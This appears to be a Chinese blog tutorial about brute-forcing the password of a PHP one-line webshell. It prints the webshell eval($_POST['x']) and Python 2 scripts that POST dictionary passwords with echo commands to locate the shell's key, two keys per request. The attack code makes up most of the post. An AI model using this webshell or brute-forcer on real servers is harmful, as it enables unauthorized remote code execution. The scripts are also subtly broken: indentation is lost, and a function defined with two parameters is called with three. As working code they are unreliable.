python hacker_Python hacker 之 爆破一句话木马

00x1:

需要用到的模块如下:

import requests

00x2:

首先我们了解一下一句话木马,一般post传递参

一个简单的php一句话木马eval($_POST['x'])

?>

先测试一下连接

OK,没问题,我们用浏览器打开传参看一下

由此可以看到密码为x,变量提交能匹配上即执行echo语句

这时我猜大家都有了思路,构造post请求即可

00x3:

这里我们可以利用网址特性提交多个参数

这样可以提高爆破效率

分析完成,下面我们开始进行写脚本

00x4:

简单爆破shell密码,shell为字典#!/usr/bin/python

#-*- coding:utf-8 -*-

import requests

def req(url,s):

global html

data = {s:'echo xc666;'}

req = requests.post(url,data=data)

html = req.content

shell = ['z','y','x']

for s in shell:

req('http://127.0.0.1/shell.php',s)

if 'xc666' in html:

print "[+]Find password",s

break

00x5:

下面我们按我们刚才说的,一次多个参数,增加效率

首先整理一下字典shell = []

f = open('shell.txt','r')

for x in f.readlines(): #去除换行等字符

x = x.strip()

shell.append(x)

print u"shell密码个数为:",len(shell)

for i in range(0,len(shell),2): #分割列表

b=shell[i:i+2]

print b

我们一次性提交两个参数测试一下data = {s:'echo %s;'%s,ss:'echo %s;'%ss}

shell = []

def shelllist():

f = open('shell.txt','r')

for x in f.readlines(): #去除换行等字符

x = x.strip()

shell.append(x)

print u"shell密码个数为:",len(shell)

def main():

shelllist()

for i in range(0,len(shell),2): #分割列表

b=shell[i:i+2]

req('http://127.0.0.1/shell.php',b[0],b[1])

if b[0] in html:

print "[+]Find password",b[0]

break

elif b[1] in html:

print "[+]Find password", b[1]

break

main()

测试一下,一次执行两个密码

00x6:

https://github.com/hackxc/Pyhacker/

github项目地址

一次爆破5次密码,可自行调整

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值